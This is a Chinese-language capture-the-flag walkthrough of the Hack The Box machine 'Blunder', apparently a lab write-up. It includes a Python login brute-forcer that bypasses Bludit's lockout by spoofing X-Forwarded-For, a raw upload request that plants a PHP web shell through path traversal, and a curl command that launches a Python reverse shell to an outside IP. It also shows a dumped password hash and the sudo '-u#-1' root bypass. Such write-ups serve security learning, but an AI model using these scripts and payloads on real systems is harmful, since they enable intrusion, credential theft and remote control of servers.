[Meachines] [Easy] Blunder Bludit-CMS-Upload+SUDO-Bypass权限提升

信息收集

IP Address	Opening Ports
10.10.10.191	TCP:80

$ nmap -p- 10.10.10.191 --min-rate 1000 -sC -sV

80/tcp open   http    Apache httpd 2.4.41 ((Ubuntu))
|_http-generator: Blunder
|_http-title: Blunder | A blunder of interesting facts
|_http-server-header: Apache/2.4.41 (Ubuntu)

www-data 权限

$ gobuster dir -u "http://10.10.10.191/" -w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt -x txt,php -b 404,403 -t 50

http://10.10.10.191/todo.txt

username:fergus

$ cewl 10.10.10.191 > pass.txt

#!/usr/bin/env python3
import re
import requests

host = 'http://10.10.10.191'
login_url = host + '/admin/login'
username = 'fergus'
wordlist = []


with open('pass.txt', 'r') as words:
    for line in words:
        line = line.rstrip()
        wordlist.append(line)


for password in wordlist:
    session = requests.Session()
    login_page = session.get(login_url)

    csrf_token = re.search('input.+?name="tokenCSRF".+?value="(.+?)"', login_page.text).group(1)

    print('[*] Trying: {p}'.format(p=password))

    headers = {
        'X-Forwarded-For': password,
        'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36',
        'Referer': login_url
    }

    data = {
        'tokenCSRF': csrf_token,
        'username': username,
        'password': password,
        'save': ''
    }

    login_result = session.post(login_url, headers=headers, data=data, allow_redirects=False)

    if 'location' in login_result.headers:
        if '/admin/dashboard' in login_result.headers['location']:
            print()
            print('SUCCESS: Password found!')
            print('Use {u}:{p} to login.'.format(u=username, p=password))
            print()
            break

$ python3 exp.py

Password:RolandDeschain

https://github.com/bludit/bludit/issues/1081

POST /admin/ajax/upload-images HTTP/1.1
Host: 10.10.10.191
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------423763520129402281753554177338
Content-Length: 173373
Origin: http://10.10.10.191
Connection: close
Referer: http://10.10.10.191/admin/new-content
Cookie: BLUDIT-KEY=7vn276oblmdb0l4kt4n3sltkl5


-----------------------------423763520129402281753554177338
Content-Disposition: form-data; name="images[]"; filename="TEAM.php"
Content-Type: image/png


<?=phpinfo();system($_GET[0]);?>
-----------------------------423763520129402281753554177338

Content-Disposition: form-data; name="uuid"


../../tmp
-----------------------------423763520129402281753554177338
Content-Disposition: form-data; name="tokenCSRF"


96062fa2efef00e52320951d57034af3a4f480f4
-----------------------------423763520129402281753554177338--

$ curl "http://10.10.10.191/bl-content/tmp/TEAM.php?0=python%20-c%20'import%20socket%2Csubprocess%2Cos%3Bs%3Dsocket.socket(socket.AF_INET%2Csocket.SOCK_STREAM)%3Bs.connect((%2210.10.16.6%22%2C10032))%3Bos.dup2(s.fileno()%2C0)%3B%20os.dup2(s.fileno()%2C1)%3Bos.dup2(s.fileno()%2C2)%3Bimport%20pty%3B%20pty.spawn(%22%2Fbin%2Fsh%22)'"

User 权限

$ cat /var/www/bludit-3.10.0a/bl-content/databases/users.php

username:hugo
hash:faca404fd5c0a31cf1897b823c695c85cffeb98d

https://md5decrypt.net/en/Sha1/

!

password:Password120

User.txt

$ cat /home/hugo/user.txt

cb37fd3c2e81e209769763b3fd001348

权限提升

$ sudo --version

$ sudo -u#-1 /bin/bash

Root.txt

# cat /root/root.txt

d10d349c006d7beb3e00cf067fba123d